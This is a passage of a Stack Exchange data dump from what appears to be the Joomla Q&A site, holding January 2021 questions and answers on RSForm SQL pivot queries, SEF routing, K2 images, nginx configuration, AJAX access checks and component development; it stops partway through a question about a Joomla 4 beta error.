  <row Id="28791" PostTypeId="1" CreationDate="2021-01-14T10:11:34.847" Score="0" ViewCount="72" Body="&lt;p&gt;Let me explain.&#xA;I have created a custom component, when editing the element and saving it once, I would like to display next to the alias the sef frontend link to this element.&#xA;Here is a screenshot to explain :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HKyt2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HKyt2.jpg&quot; alt=&quot;screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I haven't coded anything yet because I'm not sure how to do it?&lt;/p&gt;&#xA;" OwnerUserId="14584" LastActivityDate="2021-01-19T13:51:11.533" Title="Get the link to the item in the backend edit view of that item" Tags="|custom-component|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28792" PostTypeId="1" AcceptedAnswerId="28795" CreationDate="2021-01-14T10:35:50.357" Score="1" ViewCount="161" Body="&lt;p&gt;After requesting help from local db-masters with no result, I would like to ask this question here. The output required is this for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Shelter ClientID    Year    Month   Fees       Amount     Result&#xA;Homes   T0ZK9KZM    2020    7       600.00     49.00      551.00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is an online demo: &lt;a href=&quot;https://www.db-fiddle.com/f/uZraahz6huHqUBp3qjuk9z/3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/uZraahz6huHqUBp3qjuk9z/3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first part of above result (Shelter - Fees) is a query based on formid 25.&lt;/p&gt;&#xA;&lt;p&gt;The second part (Amount) is a query based on formid 23.&lt;/p&gt;&#xA;&lt;p&gt;The third part (Result) is a calculation: &lt;code&gt;Fees - Amount&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The combining factor is the &lt;code&gt;ClientID&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How can I merge these pivot queries of RSform data together to generate data for my Plotalot graph?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    ClientID,&#xA;    Year,&#xA;    Month,&#xA;    FORMAT(SUM(Total), 2) AS Fees&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Total', FieldValue, NULL)) AS Total,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'STARTDATE', YEAR(FieldValue), NULL)) AS Year,&#xA;      MAX(IF(FieldName = 'STARTDATE', MONTH(FieldValue), NULL)) AS Month  &#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 25&#xA;  GROUP BY SubmissionId&#xA;  Having MAX(IF(FieldName = 'ClientId', FieldValue, NULL)) = '%%P1=0%%'&#xA;) DerivedTable&#xA;GROUP BY Shelter, ClientId, Year, Month&#xA;ORDER BY Shelter, ClientId, Year, Month&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    ClientID,&#xA;    Year,&#xA;    Month,&#xA;    FORMAT(SUM(Amount), 2) AS Amount&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'Month_payment', YEAR(FieldValue), NULL)) AS Year,&#xA;      MAX(IF(FieldName = 'Month_payment', MONTH(FieldValue), NULL)) AS Month  &#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 23&#xA;  GROUP BY SubmissionId&#xA;  Having MAX(IF(FieldName = 'ClientId', FieldValue, NULL)) = '%%P1=0%%'&#xA;) DerivedTable&#xA;GROUP BY Shelter, ClientId, Year, Month&#xA;ORDER BY Shelter, ClientId, Year, Month&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14260" LastEditorUserId="12352" LastEditDate="2021-01-15T00:37:25.660" LastActivityDate="2021-01-18T21:14:18.990" Title="RSFORM combine 2 submission form results in one Plotalot view" Tags="|mysql|sql|rsform|pivot|plotalot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28795" PostTypeId="2" ParentId="28792" CreationDate="2021-01-15T00:27:22.993" Score="1" Body="&lt;p&gt;I think the simplest way forward is to use a &lt;code&gt;JOIN&lt;/code&gt; to relate your first query to your second query.  An &lt;code&gt;INNER JOIN&lt;/code&gt; (same as &lt;code&gt;JOIN&lt;/code&gt;) will only generate rows in the result set where both &amp;quot;derived&amp;quot; queries have data.&lt;/p&gt;&#xA;&lt;p&gt;I am assuming that &lt;code&gt;%%P1=0%%&lt;/code&gt; is your Plotalot placeholder.&lt;/p&gt;&#xA;&lt;p&gt;This was a late-night endeavour, so I cannot guarantee that it is fully refined, optimised, or minimised, but it has proven successful in the dbfiddle.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Derived1.Shelter,&#xA;    Derived1.ClientID,&#xA;    Derived1.Year,&#xA;    Derived1.Month,&#xA;    FORMAT(SUM(Total), 2) AS Fees,&#xA;    Derived2.Amount,&#xA;    FORMAT(SUM(Total) - Derived2.Amount, 2) AS Result&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Total', FieldValue, NULL)) AS Total,&#xA;      MAX(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'STARTDATE', YEAR(FieldValue), NULL)) AS Year,&#xA;      MAX(IF(FieldName = 'STARTDATE', MONTH(FieldValue), NULL)) AS Month  &#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 25&#xA;  GROUP BY SubmissionId&#xA;  HAVING MAX(IF(FieldName = 'ClientId', FieldValue, NULL)) = 'T0ZK9KZM'&#xA;) Derived1&#xA;JOIN (&#xA;    SELECT&#xA;        Shelter,&#xA;        ClientID,&#xA;        Year,&#xA;        Month,&#xA;        SUM(Amount) Amount&#xA;    FROM (&#xA;        SELECT&#xA;            MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;            SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;            MAX(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;            MAX(IF(FieldName = 'Paydate', YEAR(FieldValue), NULL)) AS Year,&#xA;            MAX(IF(FieldName = 'Paydate', MONTH(FieldValue), NULL)) AS Month  &#xA;        FROM o2pe0_rsform_submission_values&#xA;        WHERE FormId = 23&#xA;        GROUP BY SubmissionId&#xA;        HAVING MAX(IF(FieldName = 'ClientId', FieldValue, NULL)) = 'T0ZK9KZM'&#xA;    ) Subselect2&#xA;    GROUP BY Shelter, ClientId, Year, Month&#xA;) Derived2 ON Derived1.Shelter = Derived2.Shelter&#xA;              AND Derived1.ClientID = Derived2.ClientID&#xA;              AND Derived1.Year = Derived2.Year&#xA;              AND Derived1.Month = Derived2.Month&#xA;GROUP BY Shelter, ClientId, Year, Month&#xA;ORDER BY Shelter, ClientId, Year, Month;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;Shelter&lt;/th&gt;&#xA;&lt;th&gt;ClientID&lt;/th&gt;&#xA;&lt;th&gt;Year&lt;/th&gt;&#xA;&lt;th&gt;Month&lt;/th&gt;&#xA;&lt;th&gt;Fees&lt;/th&gt;&#xA;&lt;th&gt;Result&lt;/th&gt;&#xA;&lt;th&gt;Amount&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Homes&lt;/td&gt;&#xA;&lt;td&gt;T0ZK9KZM&lt;/td&gt;&#xA;&lt;td&gt;2020&lt;/td&gt;&#xA;&lt;td&gt;6&lt;/td&gt;&#xA;&lt;td&gt;696.00&lt;/td&gt;&#xA;&lt;td&gt;141.00&lt;/td&gt;&#xA;&lt;td&gt;555&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Homes&lt;/td&gt;&#xA;&lt;td&gt;T0ZK9KZM&lt;/td&gt;&#xA;&lt;td&gt;2020&lt;/td&gt;&#xA;&lt;td&gt;7&lt;/td&gt;&#xA;&lt;td&gt;600.00&lt;/td&gt;&#xA;&lt;td&gt;-5,178.10&lt;/td&gt;&#xA;&lt;td&gt;5778.1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Homes&lt;/td&gt;&#xA;&lt;td&gt;T0ZK9KZM&lt;/td&gt;&#xA;&lt;td&gt;2021&lt;/td&gt;&#xA;&lt;td&gt;1&lt;/td&gt;&#xA;&lt;td&gt;132.00&lt;/td&gt;&#xA;&lt;td&gt;-4,730.00&lt;/td&gt;&#xA;&lt;td&gt;4862&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/uZraahz6huHqUBp3qjuk9z/15&quot; rel=&quot;nofollow noreferrer&quot;&gt;View on DB Fiddle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-01-18T21:14:18.990" LastActivityDate="2021-01-18T21:14:18.990" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28796" PostTypeId="1" CreationDate="2021-01-15T09:40:15.070" Score="1" ViewCount="73" Body="&lt;p&gt;I want to add an image to a K2 article using PHP. Is there a way to add an image when I am creating the article using PHP? Adding the title, body, and category is simple enough. All you have to do is enter the data into the database. There does not seem to be any table to store information to where the picture goes. At least I could not find anything in the tables #__k2_attachments , #__k2_items, or #__k2_extra_fields.&lt;/p&gt;&#xA;&lt;p&gt;I read that images are stored as an &amp;quot;md(5) of the item id&amp;quot;. Do I upload the image to the k2 cache directory with md5 encoding? I am guessing something like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fileTemp = $file['tmp_name'];&#xA;&#xA;$uploadPath_tb = JPATH_BASE.&amp;quot;/media/k2/items/cache/&amp;quot;.md5(&amp;quot;image&amp;quot; . $id_num).&amp;quot;_S.jpg&amp;quot;;&#xA;&#xA;JFile::upload($fileTemp,$image);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when I try to do it, I get an error.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: Failed to move file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14701" LastEditorUserId="14701" LastEditDate="2021-01-15T17:34:42.347" LastActivityDate="2021-01-15T17:34:42.347" Title="Add an Image to K2 article pragmatically" Tags="|joomla-3.x|k2|images|joomla-3.9|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28799" PostTypeId="2" ParentId="28789" CreationDate="2021-01-16T12:23:49.133" Score="0" Body="&lt;p&gt;You can write little plugin, hook in on onUserLogin and onUserLogout to exchange user login/logout between these sites. And login user programmatically.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14828" LastActivityDate="2021-01-16T12:23:49.133" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28801" PostTypeId="1" CreationDate="2021-01-18T14:41:40.673" Score="0" ViewCount="58" Body="&lt;p&gt;I setup an SSL on my Joomla website. Right after the SSL is enabled, the submenus are not displayed.&lt;/p&gt;&#xA;&lt;p&gt;I checked the browser options and found Mixed Content. There is a script which is not loading http.&lt;/p&gt;&#xA;&lt;p&gt;I need to find where this script is located, and where it is being called.&lt;/p&gt;&#xA;&lt;p&gt;I searched the following path:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;reliablerenovationsplus/libraries/joomla/document/html/renderer/head.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I don't see any scripts or references.&lt;/p&gt;&#xA;&lt;p&gt;So, I wonder: How can I replace the script loading http with https to avoid the mixed content, to see if that fixes the menu issue.&lt;/p&gt;&#xA;&lt;p&gt;Check the following screenshot, which shows you the issue I am having:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UNmaA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNmaA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14834" LastActivityDate="2021-01-18T14:41:40.673" Title="Where to find script causing mixed content Joomla" Tags="|joomla-2.5|ssl|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28802" PostTypeId="1" AcceptedAnswerId="28803" CreationDate="2021-01-18T15:31:36.077" Score="1" ViewCount="91" Body="&lt;p&gt;When running our main site locally, it breaks with 404 &amp;quot;File not found&amp;quot; white page. Any tips to debugging this? I've tried setting debug = 1, enable stacktrace in error document, but it still ends with only &amp;quot;File not found&amp;quot; text. Grepping for &amp;quot;File not found&amp;quot; does not show any relevant position where the code &lt;code&gt;die&lt;/code&gt;s.&lt;/p&gt;&#xA;&lt;p&gt;I'm running nginx natively and PHP inside a docker container. Still, I'd like to know very much &lt;em&gt;which&lt;/em&gt; file is not found!&lt;/p&gt;&#xA;&lt;p&gt;The PHP docker stderr shows only 404, but nginx error log shows &amp;quot;Primary script unknown&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="12352" LastEditDate="2021-01-18T19:33:53.787" LastActivityDate="2022-02-13T01:06:30.610" Title="Debugging &quot;File not found.&quot;" Tags="|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28803" PostTypeId="2" ParentId="28802" CreationDate="2021-01-18T16:09:37.830" Score="1" Body="&lt;p&gt;Missing nginx configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        location / {&#xA;                try_files $uri $uri/ /index.php?$args;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problematic URL was confusing nginx since it included language prefix. The above snippet solves it.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2021-01-18T22:22:52.357" LastActivityDate="2021-01-18T22:22:52.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28804" PostTypeId="2" ParentId="28791" CreationDate="2021-01-19T13:51:11.533" Score="1" Body="&lt;p&gt;I'm assuming that since you're asking about SEF URLs for your component that you've already built your own custom router (as SEF URLs for a custom component are dependent upon that). If not then you can follow the example described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_alias&lt;/a&gt; and following tutorial steps.&lt;/p&gt;&#xA;&lt;p&gt;If you've done that then outputting an SEF URL on the admin backend is similar to how you create an SEF URL on the front end using &lt;code&gt;JRoute::_&lt;/code&gt; and passing the various parameters such as your component (&lt;code&gt;option&lt;/code&gt;), id of your item, Itemid of the menuitem, etc. Except that on the admin side you should use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Router\Route; &#xA;$url = Route::link(&amp;quot;site&amp;quot;, &amp;quot;index.php?option=com_example&amp;amp;view=showitem&amp;amp;id=14);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Route.html#method_link&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Route link&lt;/a&gt; for the API definition and &lt;a href=&quot;https://docs.joomla.org/URLs_in_Joomla#Internal_Dynamic_URLs&quot; rel=&quot;nofollow noreferrer&quot;&gt;URLs in Joomla&lt;/a&gt; for a description of how to use these functions.&lt;/p&gt;&#xA;&lt;p&gt;Note that the &lt;code&gt;link&lt;/code&gt; method is available only since Joomla 3.9, so if you're working on a version which predates that then it's rather more tricky, as you have to hack your way into the Joomla core code, but not impossible.&lt;/p&gt;&#xA;&lt;p&gt;Also just be aware that the SEF URL may differ depending upon the Itemid of the menuitem which you pass to the &lt;code&gt;link&lt;/code&gt; function and how you've built your custom router.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2021-01-19T13:51:11.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28805" PostTypeId="2" ParentId="28788" CreationDate="2021-01-19T18:11:21.870" Score="2" Body="&lt;p&gt;If your js is attached to a joomla page then you can get your users to login to joomla in the usual way. Then when your js executes an ajax call to the server, because the browser sends the session cookie in the http request, joomla knows if the http request is associated with a logged-in user. So inside your server code handling the ajax request you can do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$user = Factory::getUser();&#xA;$accessLevels = $user-&amp;gt;getAuthorisedViewLevels();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(See &lt;a href=&quot;https://docs.joomla.org/Accessing_the_current_user_object#getAuthorisedViewLevels.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;User API Guide&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Then you can check if the user has access by checking if the &lt;code&gt;Access&lt;/code&gt; field associated with the article is present within the &lt;code&gt;$accessLevels&lt;/code&gt; of the user. Some of your articles may have public access, so you may wish to show those to visitors who aren't logged in.&lt;/p&gt;&#xA;&lt;p&gt;Another aspect to implement is to include the Joomla form token within your form using (in the joomla layout file):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and include this html input field in your ajax request.&lt;/p&gt;&#xA;&lt;p&gt;Then in your ajax request handling code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!JSession::checkToken('get')) &#xA;{&#xA;    echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This means that anyone trying to copy your ajax request from elsewhere will have the request rejected.&lt;/p&gt;&#xA;&lt;p&gt;There is documentation on including js code within joomla in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Javascript and CSS to the page&lt;/a&gt; and also worked examples in the Joomla MVC Tutorial steps &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_Map&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding a Map&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Ajax&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2021-01-19T18:11:21.870" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28806" PostTypeId="1" AcceptedAnswerId="28807" CreationDate="2021-01-19T22:07:22.130" Score="0" ViewCount="33" Body="&lt;p&gt;I am building an online forum with EasyDiscuss.&lt;/p&gt;&#xA;&lt;p&gt;In a social login component, I am able to get user avatars from Facebook/Google. Now I want to save these avatars to EasyDiscuss users. EasyDiscuss has some methods like &lt;code&gt;ED::updateProfile($id,$data)&lt;/code&gt;, I think I'd better use it.&lt;/p&gt;&#xA;&lt;p&gt;This raises a question, once I get the avatar from within the social login component, how can I call this method to save the avatar?&lt;/p&gt;&#xA;&lt;p&gt;In other words, how do I interact with a component from within another component?&lt;/p&gt;&#xA;&lt;p&gt;It seems to me  &lt;code&gt;require_once('/components/com_easydiscuss/easydiscuss.php')&lt;/code&gt; is good enough. Is it?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2021-01-27T06:32:03.273" LastActivityDate="2021-01-27T06:32:03.273" Title="Interaction between two different components" Tags="|php|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28807" PostTypeId="2" ParentId="28806" CreationDate="2021-01-19T23:19:44.997" Score="2" Body="&lt;p&gt;It is doubtful it may work; and even if it did, you risk other issues.&#xA;Components often use constants and loaders that would not work outside the component itself, such as &lt;code&gt;JPATH_COMPONENT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I see the main risk in the assets, which will be created by Joomla referencing your calling component (the social login component) instead of the called component (Easy Discuss).&lt;/p&gt;&#xA;&lt;p&gt;That said, if you're just planning to update the avatar, and nothing more, most likely no assets would need to be created, hence it is worth a try. If you can &lt;code&gt;require&lt;/code&gt; it, invoke the static method and get the avatar to save, you're fine.&lt;/p&gt;&#xA;&lt;p&gt;You might want to run a &lt;code&gt;diff&lt;/code&gt; on the database before and after the call, to ensure no other unexpected changes took place.&lt;/p&gt;&#xA;&lt;p&gt;A more reliable approach would be invoking the component through its controller with a proper POST, which could be delivered with an ajax call or through direct navigation.&lt;/p&gt;&#xA;&lt;p&gt;Both of the above require time and effort.&#xA;The third way is a quick and dirty solution: most likely all that saving the avatar require is storing the image file and making a database &lt;code&gt;UPDATE&lt;/code&gt;. You might save yourself a lot of time doing just that from the Social Login component.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2021-01-19T23:19:44.997" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28808" PostTypeId="1" CreationDate="2021-01-20T13:07:10.887" Score="1" ViewCount="26" Body="&lt;p&gt;The answer to this is probably on the joomla site but I can't find it.&lt;/p&gt;&#xA;&lt;p&gt;The business model for my company is Software as a Service (SaaS).  I am using joomla.&lt;/p&gt;&#xA;&lt;p&gt;If I write an extension for joomla am I legally required to publish it?&lt;/p&gt;&#xA;&lt;p&gt;Obviously joomla is very much an open source philosophy, but I find it hard to believe anyone would have a use for any extension written by myself.  There is also the issue of loss of revenue if I open up my software (which is basically an expert system) to be copied to a third party's site.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="120" LastEditDate="2021-01-20T22:50:22.680" LastActivityDate="2021-01-20T22:50:22.680" Title="Licencing of Custom Extensions" Tags="|extensions|gpl|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28810" PostTypeId="1" CreationDate="2021-01-20T18:44:37.497" Score="0" ViewCount="72" Body="&lt;p&gt;Using cPanel on Host Gator, I am trying to upload a .zip Extension.  However, anytime I try to upload this I get the errors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFolder::create: Could not create folder.Path: /home/packages&#xA;Warning: Failed to move file: /tmp/phpLHCUF0 to /home/packages/qi/SOURCES/tmp/com_rsform-v2.3.20.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have verified that the folder &lt;code&gt;public_html/packages&lt;/code&gt; on my server with &lt;code&gt;755&lt;/code&gt; perms.  What am I missing here that is not uplaoding this file and installing?&lt;/p&gt;&#xA;" OwnerUserId="14249" LastActivityDate="2021-01-20T18:44:37.497" Title="Uploading a .ZIP To Site" Tags="|joomla-3.x|extensions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28811" PostTypeId="1" CreationDate="2021-01-22T11:04:49.213" Score="2" ViewCount="99" Body="&lt;p&gt;I create a new component for Joomla and just work on an override for the save() method which is inherited from the JModelAdmin class.&lt;/p&gt;&#xA;&lt;p&gt;The goal is to modify the data a bit before I submit it to the database to ensure some validations.&lt;/p&gt;&#xA;&lt;p&gt;However, I wonder how I can get the &amp;quot;original&amp;quot; data from the AdminViewElement before I edited it. I would like to compare the two values and only if there's a difference, I would like to do something.&lt;/p&gt;&#xA;&lt;p&gt;I had a look at some other components to get a feeling for it, but I've no idea where I can get this data from so I can compare the old and new value.&lt;/p&gt;&#xA;&lt;p&gt;Here's the start of the method before I start with the modelling...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $input  = JFactory::getApplication()-&amp;gt;input;&#xA;    $filter = JFilterInput::getInstance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14840" LastActivityDate="2021-01-22T17:12:03.587" Title="Compare new data with old data in JModelAdmin save() method" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28812" PostTypeId="2" ParentId="28811" CreationDate="2021-01-22T17:05:15.693" Score="2" Body="&lt;p&gt;The JModelAdmin save() method handles both inserting a single record into a table and updating a single record, and it calls the following Table-related functions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This enables it to get an instance of the Table class - eg for com_content it will be the Content class in libraries/src/Content/Table.php. I'm assuming that you have an equivalent table class for your component to enable CRUD operations on your database table.&lt;/p&gt;&#xA;&lt;p&gt;It then works out what is the primary key of the table, and checks the &lt;code&gt;$data&lt;/code&gt; array to see if that array element is set. If it is, then it loads the existing record from the database using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;load($pk);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At this stage the Table class instance has the field values of the existing table in memory.&lt;/p&gt;&#xA;&lt;p&gt;After that it calls:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;bind($data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which has the effect in the Table class instance of overwriting the existing values with the new values from the &lt;code&gt;$data&lt;/code&gt; array.&lt;/p&gt;&#xA;&lt;p&gt;Then it calls&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;check()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to perform any validation checks on the new data. And then&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;store()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to save the record to the database.&lt;/p&gt;&#xA;&lt;p&gt;So if you've followed this paradigm when you've implemented your Table class, then maybe the best place to do what you want is within the &lt;code&gt;bind()&lt;/code&gt; method of your Table class (although you can do it in the save() before you call bind() where the existing data is available via eg &lt;code&gt;$table-&amp;gt;id&lt;/code&gt;). At that stage you have the existing record field values available through eg &lt;code&gt;$this-&amp;gt;id&lt;/code&gt; and then new data available in the &lt;code&gt;$data&lt;/code&gt; array passed in as a parameter. If you're using an id field in your database table then checking if &lt;code&gt;$this-&amp;gt;id&lt;/code&gt; is zero or not will tell you whether it's handling an INSERT or an UPDATE.&lt;/p&gt;&#xA;&lt;p&gt;You may find the description in the &lt;a href=&quot;https://docs.joomla.org/Table_Basic_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic Table API Guide&lt;/a&gt; useful.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2021-01-22T17:12:03.587" LastActivityDate="2021-01-22T17:12:03.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28814" PostTypeId="1" AcceptedAnswerId="29020" CreationDate="2021-01-24T00:20:12.093" Score="1" ViewCount="1011" Body="&lt;p&gt;I am currently using Joomla 4.0.0 Beta 6 with Helix Ultimate 2.0.0 Alpha 3 and PHP 7.2. My website runs on LiteSpeed Web Server, NOT Apache.&lt;/p&gt;&#xA;&lt;p&gt;When I go to The Joomla administrator panel &amp;gt; SP Page Builder &amp;gt; Pages, I get the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;An error has occurred.&#xA;500 behavior::tabstate not found.&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is what I got in the logs file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;CRITICAL ..... error Uncaught Throwable of type InvalidArgumentException thrown with message &amp;quot;behavior::tabstate not found.&amp;quot;. Stack trace: #0 ~/public_html/administrator/components/com_sppagebuilder/sppagebuilder.php(18): Joomla\CMS\HTML\HTMLHelper::_('jhtml.behavior....')&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here are the steps to reproduce the issue:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the Helix Ultimate Quickstart Package at &lt;a href=&quot;https://www.joomshaper.com/downloads/template/helixultimate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/downloads/template/helixultimate&lt;/a&gt; 